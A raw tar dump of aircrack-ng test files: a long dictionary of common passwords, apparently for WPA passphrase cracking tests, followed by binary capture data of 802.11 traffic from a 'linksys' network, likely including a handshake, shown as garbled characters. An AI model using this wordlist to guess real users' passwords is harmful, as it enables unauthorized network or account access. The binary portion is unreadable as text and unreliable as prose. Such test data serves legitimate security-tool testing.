Raider Rainbow Reddog Sampler Shannon Shotgun Sierra Skeeter Spanish Stacey Student Trixie Xanadu Yankees Zombie a12345 a1b2c3d4 abc adidas alexis angie april asdfjkl; baby betty bilbo bonnie booboo bradley brooke caitlin carrie chip chris1 christy cinder claude claudia colorado cowboys curtis daytek donna duck dusty eagle1 enigma francis francois franklin froggy gabriel ghost gopher grover happy1 helen henry honey horse house jackie jean jenny joey kelly laura lauren lincoln loveme margaret mary max mercedes mercury michel midnight mine mirror mozart nicholas nothing oliver packard pass peace phil porsche psycho pumpkin punkin puppy123 randy remember robin rosebud sadie sampson samson samuel simple smiley snowball spike starwars stever storm sun support suzanne sweetie sweetpea system tamara tech teresa terry theresa thumper victor vision water winner xavier yamaha 121212 ABC123 America Arctic Austin Bonnie Cheryl Dorothy Drizzt Emmitt Farmer Flipper Goldie Goober Griffey Groovy Hotdog Jackson Jeffrey Jester Jimbo Johnny Kristi Lauren Lizard Louise Lover Montana Murphy NCC1701 PPP Pacers Packer Patches Peter RedDog Reebok Rosebud Sango Shadows Sharon Skippy Stanley Startrek Sunshin Swimmer TEACHERS Tinman Wildcat William Willie Wilson Yamaha aaron abigail alice allen amour animal archie bailey basf basketba beaver bingo blazer blonde bullshit business caroline cfj chicago clancy class cloclo colleen columbia connect country demo dixie domino donkey dreamer e eagles eddie farmer fgh fire flipper flowers floyd fluffy freddy friends frodo frog garden global golfer grumpy hansolo hawk health heidi help holly hoops iguana indigo italia jane jasper jessie jewels johnny joker judith katherin kids kingfish kristi laurie legend lindsay london loveyou lucy mac marc marilyn market marlboro marty maryjane matrix maxwell nancy nascar nelson network newcourt newton packers panther papa parker patricia penguin pickle porsche9 rain raven robbie robert1 rocky roses sabrina sailing sandra science scotty seven shoes smiles smokey snickers speedy spooky stephani strat stuart sunny sunset telecom temporal tigers time tinker tomcat trebor tristan truck video viper1 visa volvo warren weasel webmaste white woody xanadu zaphod !@#$%^&* 007 1022 13579 4444 666666 6969 Adidas Asdfgh Asshole Awesome Biology Bond007 Booboo Bradley Buffalo Calvin Canada Celtics Chester Colleen Connie Cooper Cracker Digital Disney Doobie Dream Dwight Eatme Farming Florida Flowers Gizmo Goalie Golden Gunner Harvey Homer Jasper Kristy Krystal Laser Maddog Marino Marvin Natasha Nelson October Parker Passwor Petunia Prince Pumpkin Qwert Ranger Sammie Senior Shirley Slayer Spunky Tandy Trouble Vette Warren Wheels Winter Zxcvbnm _ absolut adam adrian alexandr allo alpine anderson athena badger beagle beatles belle bitch bluebird bonjour bulldog bunny californ captain carol carole cedic chanel chester1 chloe coco coltrane compaq compton cooper corona cyclone dancer darwin dawn denise derek diablo digital1 direct1 dodger doogie dookie doom dragon1 dreams duckie dylan ellen export ferrari ferret firebird forest fuckoff garfield gateway gold goofy grateful guitar gunner heart herbert herman hermes history houston inside ironman isis italy jasmin jeanne julie kathleen keith kermit kimberly king koala kristen kristin laser leonard lionking macha macintos maddog major maxime melanie mexico mikey monet monique moon mouse1 napoleon ne1469 nellie niners olive one online oxford pacific painter panda pandora peaches peewee penelope picasso plato pluto police popeye portland power random raymond reality renee royal running salut samantha santa sassy scarlet scorpio scout sergei seven7 sexy shark sheba sheena sheila shelby simba singer skiing snow spanky stargate steele stella sunday sunrise sylvia tara tasha techno timothy toby today training trouble tyler unicorn violet walker wayne wendy whisky windsurf winnie wolves xfiles zebra zxcvbnm 000000 007007 10sne1 1313 131313 1701d 1a2b3c 4runner 54321 Aaaaaa Amiga Angela Animals Archie Badboy Balls Beaver BigBird Boner Booger Boston Brandi Brazil Brenda Button COWBOY Carol Chiefs Chipper Chrissy Coffee Cougar Country Curtis DRAGON Dennis Digger Doctor Firebird Frankie Gambit Gemini German Giants Grandma Grover Hanson Hawkeye Heidi Hobbit Hotrod Howard Iguana Ironman JSBach Jackie January Jennifer Joker Lakota Looney Malibu Masters Michell Mikey Monster OU812 Oliver Paladin Phillip Pickle Please Psycho Puppies Racing Rasta Reality Renee Rosie Russell Skiing Snowbal Spider Spring Squirt Studly Stupid Surfer Sweets Sydney Tester Thumper Timothy Violet Walleye Webster Wizard Zaphod Zorro Zxcvb aaa abcde abcdefg acura alex1 allison amy anne apache apollo apollo13 ariel artist asdfg asdfjkl attila babylon5 bamboo basket beaner bears beer benny bernard bertha bigbird bigred bird33 birdie blizzard bluesky bobby bootsie brewster bright bruce brutus bubba1 bubbles buck buffalo butler buzz byteme cactus camera candy canon cassie catalog cats celica celine cfi challeng champion cheryl chico christia chuck clark college conrad cool copper courtney craig crapp crawford creative crow cruise dance danielle darren database deadhead december deedee deliver detroit dilbert doc dogbert dominic elsie enter entropy etoile europe explorer fireman fish1 flamingo flash fletcher flip foxtrot french1 gabriell gaby galaxy galileo garlic gasman gator gemini general gerald gilles go goforit golden gone graymail greenday greg gretzky hacker hal9000 harold harrison harry harvey hector hell home homer hootie hotdog ib6ub9 icecream idiot imagine indian insane intern ireland irish isabelle jacob jaguar jason1 jenifer jenni jenny1 jensen john316 judy julie1 kelly1 kennedy kevin1 kim knicks lady lee leon lindsey ljf logical lucky1 lynn majordom mariah marine mario mariposa martin1 math maurice me memphis metal michael. michele minnie mirage mitch modem mom moocow ncc1701e nebraska nemesis netware news nguyen number9 open opus patches penny pete petey phish photo pierce pomme porter psalms puppy pyramid python quality qwaszx qwert raiders raquel robotech ronald rosie russell ruy savage scotch scruffy sean seattle shadow1 shanti shirley shorty shotgun skipper slayer smashing snapple sniper snoopdog snowman sparrow sports sprite spunky stacey star69 start station stealth sunny1 super surfer target taurus teddy teddy1 tester testing theboss thunderb tim topcat topher trevor tricia trixie tucker vader valerie veronica viking voodoo warcraft warner warrior watson webster wesley western wheels wilbur williams wisdom wolf1 wolfgang wrangler xcountry yankees zachary zeus zombie zorro !@#$%^& 0007 0249 1225 1234qwer 14430 1951 1p2o3i 1qw23e 1sanjose 21122112 2222 369 5252 5555 5683 777 80486 888888 911 92072 99999999 @#$%^& Action Aggies Albert Alyssa Andrea Angela1 Author Babies Bananas Barbara Barbie Basketba Bastard Beatles Bigfoot Blaster Blowme Bookit Brasil Broncos Browns Buddha Butthead Buttons Cancer Carlos Champs ChangeMe Changeme Chelsea Chevy Chevy1 Christ Christop Chucky Cindi Cleaner Clover Coolman Copper Cricket Darwin Death Defense Denver Detroit Dexter Doggie Doggy Dookie Drums Edward Elaine Elvis Espanol Except Football Francis Freedom Frosty Fubar Garden Garfield Garrett Gordon Hamster Hawaii Hello Herman Hershey History Hockey1 Honda1 Isabelle Jaeger Jaguar Jeanne Jimbob Junebug Kathryn Kayla Killme Kittens Kombat Kristen Kristin Lennon Letter Light Little Loveme Marley Marshal Martha Martin Maveric Maxwell Merlin Mittens Morris Nascar Newton Nissan Number1 Packard Pantera Peewee Penguin Piglet Popcorn Popeye Puckett Raistlin Raymond Reader Reading Rebels Redskin Reefer Retard Ripper Robbie Ronald Rooster Roping Royals Russel Samson Sarah1 Scarlett Service Shooter Sidney Simple Skater Skidoo Skinny Smiles Sniper Special Spirit Sprite Stimpy Strider Success SunShine Superman Susan Sweetie Tamara Tanker Tardis Tasha Taurus Theman Theresa Tiffany Tomcat Tractor Trevor Trucks Trumpet Vampire Vanessa Victoria Warez Warrior Weezer Welcome1 Whales Whateve Wicked Willy Woodland Ziggy a abby abcd abcdef action active advil aeh alfred aliens alison alpha1 amanda1 amelie andre angels angus apple1 ariane arizona asdfghjk aspen asterix awesome aylmer bach barry basil baskeT beanie beautifu benoit benson bernie bfi bigmac bigman binky biology bird blondie blowfish bmw bobcat boogie booster boots bozo bridge bridges buffy bull bullet butch button buttons caesar campbell camping canced canela cannon cannonda cardinal carl carlos carolina cascade castle catfish cccccc center cesar chance chaos charity charlie1 charlott cherry chevy china chiquita christop church clipper cobra concept cookies corrado corwin cosmos cougars cracker cuddles cutie cynthia cyrano daddy dan dasha dead denali depeche design deutsch dexter dgj diana diane dickhead director dirk dodgers dollars dolphins don doom2 doug dougie dragonfl dude dundee e-mail easter eclipse electric elliot energy eugene excalibu express fiona fireball first fletch flight florida fool fountain fozzie frederic frogs front242 fugazi fun future gambit garnet gary genius georgia gibson glenn goat goblue gocougs godzilla gofish gordon grandma graphic gray gretchen groovy guess guido guinness h2opolo hanna hanson happyday hazel hello1 homebrew honda1 horizon hornet image impala informix irene isaac jamaica james1 jan japan jared jazz jeanette jeff jimbo jkm joanna joel johnson jojo jordan23 josh josie julia justin1 kathy katie kenneth khan kingdom kitty kleenex kramer laddie ladybug lamer larry1 law ledzep light liverpoo lloyd looney lorraine lovely lucas lulu magnum mailer mailman malcolm mantra marcus maria mars marvin master1 mayday mazda1 medical megan memory meow metallic midori mikael mike1 miki miles million mimi minou miranda misha mishka mission molly1 money1 monopoly montreal mookie moomoo moroni mortimer naomi nautica nesbitt new nick niki nikita nimrod nirvana1 norman nugget nurse oatmeal obiwan october olivier oranges orchid pacers packer parrot passion paula pearl pedro peggy percy petunia philip phoenix1 pinkfloy pirate pisces planet play playboy player players poiuyt politics polo pookie1 praise preston prof promethe property public quebec quest qwerty12 racerx racoon rambo1 raptor redrum redwing republic research reynolds reznor rhonda ricky river robinhoo rock roman roxy roy ruby rufus rugby rusty ruth rux safety sailor sally sapphire sarah1 sasha saskia sbdc scarlett scooby scooter1 scorpion scuba1 septembe shawn shelley sherry shit skidoo slacker smiths snuffy soccer1 softball sonny space spain speedo spitfire ssssss steph sting1 stingray stormy strawber sugar sunbird sundance supra surf suzuki sweety swimming sylvie symbol t-bone tacobell taffy tango tanya tarzan tattoo tequila test2 theatre theking tiffany tigre timber tina tintin tootsie toronto tracy trek trident trumpet turbo twins user1 utopia valentin valhalla vanilla velvet venus vermont vicky volley wanker warriors whitney wolfMan wolverin wombat wonder wright xxxx yoda yomama young yvonne zenith zeppelin zhongguo biscotte PR0VIEW! diction dictionary dictum aircrack-ng-1.2-rc4/test/wpa-psk-linksys.cap0000644000000000000000000011203012004033544017431 0ustar rootrootÔò¡ÿÿi¤gYD˜H †Â¤…ÎU˜ï †Â¤…:¤gYD¡ ÔÎU˜ï¤gYDÚ%%ÀÎU˜ï †Â¤… †Â¤…Ý †wivast¤gYDã%%À †Â¤…ÎU˜ï †Â¤…Ý †wivast¤gYDS‡ ÔÎU˜ï¤gYD4rH †Â¤…ÎU˜ï †Â¤… :¤gYDs ÔÎU˜ï¤gYDØwÀ:ÎU˜ï †Â¤… †Â¤…ú¤gYDœoo€ÿÿÿÿÿÿ †Â¤… †Â¤…púú˜C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYDpÌ11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿ°:linksys‚„  $20H`l¤gYDäÐYYP:ÎU˜ï †Â¤… †Â¤…€ú:˜C%d1linksys‚„ US  *ÝPòPòPòPò¤gYDÚI°: †Â¤…ÎU˜ï †Â¤…À:¤gYD K ÔÎU˜ï¤gYDÎM°:ÎU˜ï †Â¤… †Â¤…ú¤gYDÌREE: †Â¤…ÎU˜ï †Â¤…Ð: linksys‚„ ÝPòPòPòPò*¤gYDþS ÔÎU˜ï¤gYD(Y$$:ÎU˜ï †Â¤… †Â¤… úÀ‚„ ¤gYDăƒ:ÎU˜ï †Â¤… †Â¤…°úªªˆŽ_þ‰ W›û¦Ñ]$áÛíEÂb 'úbßfÇ›­Tœ¤gYD° †Â¤…ÎU˜ï †Â¤…pªªˆŽyþ èß¡k‡i•}‚I¤ìhÒ·d7‚.ðÜ7°ÌH4>ÖmEóSŽ­ŽÊU˜Â`îþoQÝPòPòPòPò*¤gYD‰ ÔÎU˜ï¤gYDp,oo€ÿÿÿÿÿÿ †Â¤… †Â¤… ûh–™C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYDZ2››:ÎU˜ï †Â¤… †Â¤…0ûªªˆŽwþÉ W›û¦Ñ]$áÛíEÂb 'úbßfÇ›­Tœ[•L&ç¦<=Ïí‘gºÁÝPòPòPòPò¤gYDªAƒƒ †Â¤…ÎU˜ï †Â¤…€ªªˆŽ_þ ïâm¼oç3ø:¢_¤gYD¶B ÔÎU˜ï¤gYDM··B:ÎU˜ï †Â¤… †Â¤…@û  Ãrk’VrÉZ ÄÁÜF$âY=ɺˆÂÔÃ"[G`ýB(e£é%86T,Y@ξée„ß rÎR@Ž~àla8~úä>FR¦$~È@­?Ç„òDJräqÔ«Mic,ø ¸ˆrºÖv! .Þåð½¤p5 %IØ ¿gáøŠèÔú³»úà0¬(=«„þUX¤gYDo¼oo€ÿÿÿÿÿÿ †Â¤… †Â¤… ûh&›C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYD{q H †Â¤…ÎU˜ï †Â¤…à:¤gYDvr ÔÎU˜ï¤gYDz! H †Â¤…ÎU˜ï †Â¤…ð:¤gYDK" ÔÎU˜ï¤gYDnL oo€ÿÿÿÿÿÿ †Â¤… †Â¤…üh¶œC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYD\P H †Â¤…ÎU˜ï †Â¤…;¤gYD[Q ÔÎU˜ï¤gYDž¯ H †Â¤…ÎU˜ï †Â¤…;¤gYD«° ÔÎU˜ï¤gYD,³ \\A †Â¤…ÎU˜ï^  ¯/÷P±õ¤{ì(*©°Ñnò濤 ÈpÈr³'d!³Y¨-ߘÖqƒ»EžP˜ÙJ•ƒõoPøÈ¤gYD^¹ bbB^ †Â¤…ÎU˜ïü `4`[:ôyœ¨Ûy• 01 `¶Ñ[ÄqjòêÊTÈÏÆí TŒK/S,¥™XGVv:¥ÏVЍþËØ`9ÀŽ©qº¤gYDkÜ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…pühFžC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYDN H †Â¤…ÎU˜ï †Â¤… ;¤gYDI ÔÎU˜ï¤gYD\> H †Â¤…ÎU˜ï †Â¤…0;¤gYDÆA ÔÎU˜ï¤gYDul oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ÐühÖŸC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYDop H †Â¤…ÎU˜ï †Â¤…@;¤gYDèq ÔÎU˜ï¤gYD•‚H †Â¤…ÎU˜ï †Â¤…P;¤gYD¹… ÔÎU˜ï¤gYD‰}}A †Â¤…ÎU˜ïfãä   _t#È‹ '‹†RëR6ý ž?‚ïȦ®6]ì¸ß‘YÂàxë|E§m€K™Ù!°ôQ˜Åì=H ±ó,».•M›Ýèu­ÏbTÕ×oËõË,ü5á©ÔØ<¾ŽؤgYDnŒ}}A †Â¤…ÎU˜ïfãä°  ˆâî"muÅõúŽoÿÈÐÉx+w¾\®8UHŽEwþžÐ›þ¤q)¨vlótÐï 3Îåð üÛÅGÓ.ú‘À`𫼊+.ͤu[Î â³úClRß=¸$;V˜õ¤gYDŒÏllBÔÎU˜ï †Â¤…fãäàü  .à êÉJ”ùyØÞñ+Óê)üCÜJ  )0¿½¶GâªÐ¢HTK „ã‚´î ódzÙ9õOöÁî$#dMæäå¾°©æ‘cÙ)7ˆ³¤gYDkÔ}}A †Â¤…ÎU˜ïfãäÀ  'W. À©?„úƒwË&ˆrC6»› 3O°4ϾIg¿vz±†Â0¿sTäãoуÿŒ?¥ ^CeÚ‰e¢º-ÊÈ„bÁçàoÙt¦Ý´N·ÿváü- ›úãĤgYDiüoo€ÿÿÿÿÿÿ †Â¤… †Â¤…@ýhf¡C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¤gYD¦ýllBÔÎU˜ï †Â¤…fãäPý  –¨ëÖý6çÚ\5KU¾êw=Yø¢=F»x›Ô2î(VW/yDJ>Ó9³¯¥Çq~ú¦ü2É¢˜^èýbóT¢ k¤QÈÆP¤gYD°llJÔÎU˜ï †Â¤…fãäPý  –¨ëÖý6çÚ\5KU¾êw=Yø¢=F»x›Ô2î(VW/yDJ>Ó9³¯¥Çq~ú¦ü2É¢˜^èýbóT¢ k¤QÈÆP¤gYD»}}A †Â¤…ÎU˜ïfãäÐ  ë9(ƒâÀm:G³›g憑0ÇZ\Ô¼sŠ!_:ÜQêì†Ì2³ µÇ¹méÀ3#Bô.e. < eÁû©°rß| –5]Ä{˜¯¿Hí¶ýƒû¨†Æè×ЬÄÛ¥gYD|(H †Â¤…ÎU˜ï †Â¤…`;¥gYDz) ÔÎU˜ï¥gYD H †Â¤…ÎU˜ï †Â¤…p;¥gYD8!H  †Â¤…ÎU˜ï †Â¤…p;¥gYDø! ÔÎU˜ï¥gYDë( Ô †Â¤…¥gYDÇ,\\A †Â¤…ÎU˜ï¿0à  ÈõBfù’Û—:‰Ùê/±’ í_þitv¢ß#"°šzMH÷¾­NËÀÅk§š†¿ xÓ“Œ]é  ¥gYD)Joo€ÿÿÿÿÿÿ †Â¤… †Â¤…Àýhö¢C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDTL€€BÔÎU˜ï †Â¤…¿0Ðý  f@4´ÊïX4xoˆôX0¯×ÎL¯,p.Т]Üœ£]¥Ð :k§Â3Ô¶›—²Cýb«† Êh@¦œ›g&|ÍN? y›uËìd& †Åq#f)À.; Î!“++4°é)ÖÛ.`«g%$,…¿¶¦ ~À¶ßÖߎ¨ç®•¸­Nwhj¶Ô{6½[ƒùFÛn¨´Íð˜e“jNgÎ8R •q \þFÞÆ#çäýÃ*Ì”æñRÞ`"‰ÞŠü+1¶¹£+¯³ÓÛ=eþªe3)àmÛ#ïàM;º«É˜ö %_³KÈѵ™;ÃÙ˜µ ´Ú$åÒˆÛa§7OM£ã!æ—Z\ò^ ´ÙX…Ù¥¾ý q—^Z”@Æ%(ßéL®)+zuC19~D‡Þ.¾ŠG#Æ´1 NùÿÚ.Ý9ÌמQ$kpü¤õÌå’EKoŒä9ÓÙ·T¯¹ká¥gYDÐP\\A †Â¤…ÎU˜ï¿0ð  ÈÈôhóíƒãv+>ÁÔÒìÄn Tìáç?*"Øwµ¾?>/‚†VQ¡þÄååO§ék*0Z¤¥gYD„V\\A †Â¤…ÎU˜ï¿0  5c Ä¿XO­ÅpòònµU—yä¾ó¨`TýA²ùå¸ ú>ÂpŽºT'‰ߠzÑK‡iœn¥gYDL¼H †Â¤…ÎU˜ï †Â¤…€;¥gYDI½ ÔÎU˜ï¥gYD±H †Â¤…ÎU˜ï †Â¤…;¥gYD ² ÔÎU˜ï¥gYD(Úoo€ÿÿÿÿÿÿ †Â¤… †Â¤…0þh†¤C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDÈÝH †Â¤…ÎU˜ï †Â¤… ;¥gYDÒÞ ÔÎU˜ï¥gYDVAH †Â¤…ÎU˜ï †Â¤…°;¥gYD)B ÔÎU˜ï¥gYD'joo€ÿÿÿÿÿÿ †Â¤… †Â¤…þh¦C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDÉmH †Â¤…ÎU˜ï †Â¤…À;¥gYDÒn ÔÎU˜ï¥gYDÌÏH †Â¤…ÎU˜ï †Â¤…Ð;¥gYDÊÐ ÔÎU˜ï¥gYD.Ô§§A †Â¤…ÎU˜ïfãä {‡pŒÞÛå*¢øy†{ä2FŽøÅnàÿºò+Û·9˜“Ö§š‰âÀ¥)/9 r]Ê›Xé_òíŒIš ‰Ófea±lº/ —â[dšdÖ6¦"D83Îsl1Ÿ1ê°fÓcO &Òl¹6’޹]ÌÉ$1ª?/gh\*GÚu¸ë¥gYDí×§§A †Â¤…ÎU˜ïfãä  þÙåB3ƒõÝ’ Š?ÓÎ'"<½/ƒ÷ή3bSwU«1)d¸Úø˜B0 OÓ§ï³¹ø§‘Å¿Ö}ß(´ ;ÆWÇt\§‹Dæ%U])ABª…ung‘Ø”NØí¶äðþVuÈ/º‹wØýßD ¸-s ]~"Ì„ntV⃥gYD'úoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðþh¦§C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDe8H †Â¤…ÎU˜ï †Â¤…à;¥gYD\9 ÔÎU˜ï¥gYD}]H †Â¤…ÎU˜ï †Â¤…ð;¥gYDU^ ÔÎU˜ï¥gYD!`€€A †Â¤…ÎU˜ïfãä0 4ÊZwüÂõlSèG1r‰%01 ¿ì³ÿ/}à]ÉåQæp®|˜È~s¯y—]ý,ëVÁ§µ!¸ ëßeua¾¸šbo0Nc7Ø<ìWQõ£Ùþ²Ó –„‚’¿‡¸¥gYDc€€A †Â¤…ÎU˜ïfãä@ ”²À<ðô´…@rO÷5O닽«×¼ì…ª§­Pî Ž–•SŽ+‚_†yÒT¯â©Uàà BàÙƒ\'¯qŽ*"Q°É9¥°šDsÇ]c«*œ“¢6ˆöŽ¥gYDªeããBÔÎU˜ï †Â¤…fãäÿ  ágLÛB刞˜F¶[HéiXÎ9õ‡ÀÒļ„OEƒüŠp—×dÎðO Îkúá­…Í‹¬ú¢Ø£yRÿÿ¬ÑÍíöcÕyÑZÜîGq6wµõ >(JAáu|5ÈŽ´À"ÐÀÔ4õ±’ŽÕ­›êïİøZMX©‹†ëù•ëéÔï0ˆò1°1Tv‘ £&‡P˜Ý5V9‘økrÕ 9Äâý=UcÝ.|8FY1ÀôŸÖïP×J…¥gYD1j€€A †Â¤…ÎU˜ïfãäP èëq­-Ã:õÄÕ{=ó¡0žEwîå­ÃÌ6ࣳtiêPÆÝ”ü¸P{Øj­Ì9ÏSŒI Ýöi>a(â$zܸ?ýRnÎu™1¹HDÃ`Gn-D£… ÜÔ?vuHgr¥gYDŸŠoo€ÿÿÿÿÿÿ †Â¤… †Â¤…`ÿÖ6©C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYD «¼¼BÔÎU˜ï †Â¤…fãäpÿ  {ôäc‘JT75âÅ.Ép!u/|¸Î\Ô{8…“³,ÂH)‹ÉÕ5\€pG)䦯áWÏ qR±é‹Ä?¹>˜ ±›±•˜dËXÕ`ã-*Q,÷i>²R9Ž«ðùë]˜…Ó†§v¨+bVØÕÊY ©$È%|tÂéL‰/‹ú”Lç`.DrG¼±_²¯TEïyim À‘QvoGÄPÓîÜuIò+ Rí¥gYD& oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðÿhƪC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYD$_ H †Â¤…ÎU˜ï †Â¤… <¥gYD#` ÔÎU˜ï¥gYD{~ H †Â¤…ÎU˜ï †Â¤…0<¥gYD` ÔÎU˜ï¥gYDɪ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…PûV¬C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDl® H †Â¤…ÎU˜ï †Â¤…@<¥gYDb¯ ÔÎU˜ï¥gYDÍ H †Â¤…ÎU˜ï †Â¤…P<¥gYD· ÔÎU˜ï¥gYD#: oo€ÿÿÿÿÿÿ †Â¤… †Â¤…°hæ­C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDˆ= H †Â¤…ÎU˜ï †Â¤…`<¥gYD> ÔÎU˜ï¥gYDŒ¢ H †Â¤…ÎU˜ï †Â¤…p<¥gYDl£ ÔÎU˜ï¥gYD#Ê oo€ÿÿÿÿÿÿ †Â¤… †Â¤…hv¯C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¥gYDßÍ H †Â¤…ÎU˜ï †Â¤…€<¥gYDÛÎ ÔÎU˜ï¥gYDƒ-H †Â¤…ÎU˜ï †Â¤…<¥gYDÊ0 ÔÎU˜ï¦gYDâoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ph±C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYD…H †Â¤…ÎU˜ï †Â¤… <¦gYD ÔÎU˜ï¦gYD{}H †Â¤…ÎU˜ï †Â¤…°<¦gYDs~ ÔÎU˜ï¦gYDð§oo€ÿÿÿÿÿÿ †Â¤… †Â¤…Ðh–²C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDz«H †Â¤…ÎU˜ï †Â¤…À<¦gYD„¬ ÔÎU˜ï¦gYDÔH †Â¤…ÎU˜ï †Â¤…Ð<¦gYD– ÔÎU˜ï¦gYDã7oo€ÿÿÿÿÿÿ †Â¤… †Â¤…0h&´C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDÌ;H †Â¤…ÎU˜ï †Â¤…à<¦gYDÌ< ÔÎU˜ï¦gYDd–H †Â¤…ÎU˜ï †Â¤…ð<¦gYDCš ÔÎU˜ï¦gYDãÇoo€ÿÿÿÿÿÿ †Â¤… †Â¤…h¶µC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDuËH †Â¤…ÎU˜ï †Â¤…=¦gYD‘Ì ÔÎU˜ï¦gYD,H †Â¤…ÎU˜ï †Â¤…=¦gYD- ÔÎU˜ï¦gYDáWoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðhF·C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDr[H †Â¤…ÎU˜ï †Â¤… =¦gYD‚\ ÔÎU˜ï¦gYD¦›H †Â¤…ÎU˜ï †Â¤…0=¦gYDŒœ ÔÎU˜ï¦gYD¥Ÿ§§A †Â¤…ÎU˜ïfãä`  ¶.»H+s a³ )j Rû—j™‚ˆO£å–í!ßÚeRÉ¥8‹Ô³×íARsc¼8_‹™ÔBóDb¸ù sbϰÃG(hKq?¸%›7C¸¦¾´“/0d—6•Œ0©cÕS³Dø®½(ä”ÅW*áT ‰w ùÛŒèèÄà QÆ$ê¦gYDáçoo€ÿÿÿÿÿÿ †Â¤… †Â¤…PhÖ¸C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDréllBÔÎU˜ï †Â¤…fãä` ®ð^s'õ×›dÒÒü#ró¸°Ã‹Îbâ|#oì}.<»DU ÏÑ…x î—=>ûb‚¯ØÔ™¾Ûa9LJ$8§¹˜†ø„9œ®•gU¦gYD î§§A †Â¤…ÎU˜ïfãäp   ef—s¨aß-TèߘÌo½vL”Û‚p#ÀpU®9M Ãp¶K~·Þ¯`ú±g+‚òÐëe'Mšªn¿/*òé¥óˆ[s¥RŒô÷"®¢*¬äI[yQ/ •5Vá1hÚîÁG)n׳3ÇÔü1UÁÔ‰ÙŽf¹€÷×õ%ù~kÕ¦gYDlUH †Â¤…ÎU˜ï †Â¤…@=¦gYDgV ÔÎU˜ï¦gYDâY€€A †Â¤…ÎU˜ïfãä€  ÷ÿúÛ”‚Ç&RBO/-ƒö'oE{ ¶S¹3Æy “»÷*<>¨ý úeãtýè:U¾ü‘á&ÌqÐÖEŸÉî~Á. /_óú±r/ÜÖµJDÞ§‘˾|Qiõ¦gYD$]€€A †Â¤…ÎU˜ïfãä  fGK6îËlGœzŽ$GÀM ù…Nb¡xŠjþö5ÁT×øÏ²¹Š|iî—µÔ¶ÊíK- õïøs3›£OüûJôyþ…¹(*†Ï¯c¾;ˆßÀ®–Ü»3}ŠO¦gYD$´llBÔÎU˜ï †Â¤…fãäp ð³°óËnÊ÷³!!E:v}8âǦ”Šê¤€(ÓÏ]xá)æwÒUgd®[}IóÉ\l¡ãã‡_ë\'¼RɳX1*9$Ñ™Œ¦gYDn H †Â¤…ÎU˜ï †Â¤…P=¦gYDj ÔÎU˜ï¦gYDNS H †Â¤…ÎU˜ï †Â¤…`=¦gYDUT ÔÎU˜ï¦gYDÝw oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ÐhfºC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYD­{ H †Â¤…ÎU˜ï †Â¤…p=¦gYDi} H †Â¤…ÎU˜ï †Â¤…p=¦gYDg~ ÔÎU˜ï¦gYDŠÛ H †Â¤…ÎU˜ï †Â¤…€=¦gYD]Ü ÔÎU˜ï¦gYDÜ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…0hö»C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDj H †Â¤…ÎU˜ï †Â¤…=¦gYDr ÔÎU˜ï¦gYDæk H †Â¤…ÎU˜ï †Â¤… =¦gYDn ÔÎU˜ï¦gYD¹™ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…Dˆ½C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYD H †Â¤…ÎU˜ï †Â¤…°=¦gYDž ÔÎU˜ï¦gYDBü H †Â¤…ÎU˜ï †Â¤…À=¦gYDý ÔÎU˜ï¦gYDÝ'oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðh¿C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYD+H †Â¤…ÎU˜ï †Â¤…Ð=¦gYDƒ, ÔÎU˜ï¦gYD`@H †Â¤…ÎU˜ï †Â¤…à=¦gYDHA ÔÎU˜ï§gYD««A †Â¤…ÎU˜ïfãä   ®P‡c —È6æØ³÷ªcÜó‚ýk×îÚ¾wÊÈÊMd¿ôç¬n\жbÚf™è¯ÖgGæèž(`V^~^}ecOœÅ¤\Û«Ú„odV`A8g’0t€F+,F©oæü•÷Oý¨“q-fOV\#%ißúq>? •.•€S¶ýî¶å¶O§gYD®ÕÕA †Â¤…ÎU˜ï^ÿú°  )ª(Sä§è¾;º’Q’9ôw?À0ß‚-^\ËÑ7¬¸v…G¢îS›±è¢ò}¹±=‰å:€‘á›Z&Ü×3ȘñT¬yLÿɃë2¿8¢[õô£];Ÿ™ €+,øl ÑÉt± ס¢JvJDåùŒKò^¨§¼Ö‡ë*“vÛTmÜ(Hç&&‡Ý5Ëò—p7ÄÚ²ØušÏj"üŽ НòÿÐÌËý!yÕýMO±1¸Ýõ™¡9_YárƲ_§gYD¯ÕÕB^ÿú †Â¤…ÎU˜ï `úAö>òI¸t‘ÙiÕ'xæÝØÂí'…Ó­:Ï;‚Ü+ve;îÌGG—s…¥÷H“¼ ¨åÎß ©Ê a7e:<évRÓü §U<ŽšJ 